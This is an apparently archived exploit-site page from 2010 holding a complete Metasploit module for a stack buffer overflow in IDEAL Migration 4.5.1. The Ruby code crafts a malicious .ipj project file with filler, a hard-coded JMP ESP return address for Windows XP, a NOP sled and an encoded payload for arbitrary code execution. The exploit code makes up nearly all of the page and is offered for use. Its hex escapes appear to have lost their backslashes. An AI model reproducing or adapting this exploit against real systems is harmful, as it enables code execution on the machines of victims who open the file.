IDEAL Migration v4.5.1 Buffer Overflow Exploit (Meta)
Posted on 10 May 2010
<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>IDEAL Migration v4.5.1 Buffer Overflow Exploit (Meta)</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>===================================================== IDEAL Migration v4.5.1 Buffer Overflow Exploit (Meta) ===================================================== ### ## This file is part of the Metasploit Framework and may be subject to ## redistribution and commercial restrictions. Please see the Metasploit ## Framework web site for more information on licensing and terms of use. ## http://metasploit.com/framework/ ### require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::FILEFORMAT def initialize(info = {}) super(update_info(info, 'Name' => 'IDEAL Migration Version 4.5.1 Buffer Overflow', 'Description' => %q{ This module exploits a stack overflow in IDEAL Migration version 4.5.1. By creating a specially crafted ipj file, an an attacker may be able to execute arbitrary code. }, 'License' => MSF_LICENSE, 'Author' => [ 'blake' ], 'Version' => 'Version 1', 'References' => [ [ 'URL', 'http://www.exploit-db.com/exploits/12404' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'seh', }, 'Payload' => { 'Space' => 986, 'BadChars' => "x00x1ax0ax0d", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'Windows XP Universal', { 'Ret' => 0x7c96bf33 } ], # JMP ESP in ULMigration_us.dll ], 'Privileged' => false, 'DisclosureDate' => 'April 26, 2010', 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [ false, 'The file name.', 'msf.ipj']), ], self.class) end def exploit sploit = "x0Dx0Ax5Bx47x72x6Fx75x70x2Cx45x78x70x6F" sploit << "x72x74x2Cx59x65x73x5Dx0Dx0A" sploit << "x43x6fx6dx70x75x74x65x72x3D" sploit << rand_text_alpha_upper(2420) sploit << [target.ret].pack('V') sploit << make_nops(10) sploit << payload.encoded sploit << "x0Dx0Ax5Bx45x6Ex64x5Dx0Dx0A" ipj = sploit print_status("Creating '#{datastore['FILENAME']}' file ...") file_create(ipj) end end # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-05-10]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>